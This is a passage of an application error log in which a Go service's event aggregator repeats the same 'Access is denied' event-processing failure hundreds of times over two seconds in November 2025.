source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:44+01:00 level=error 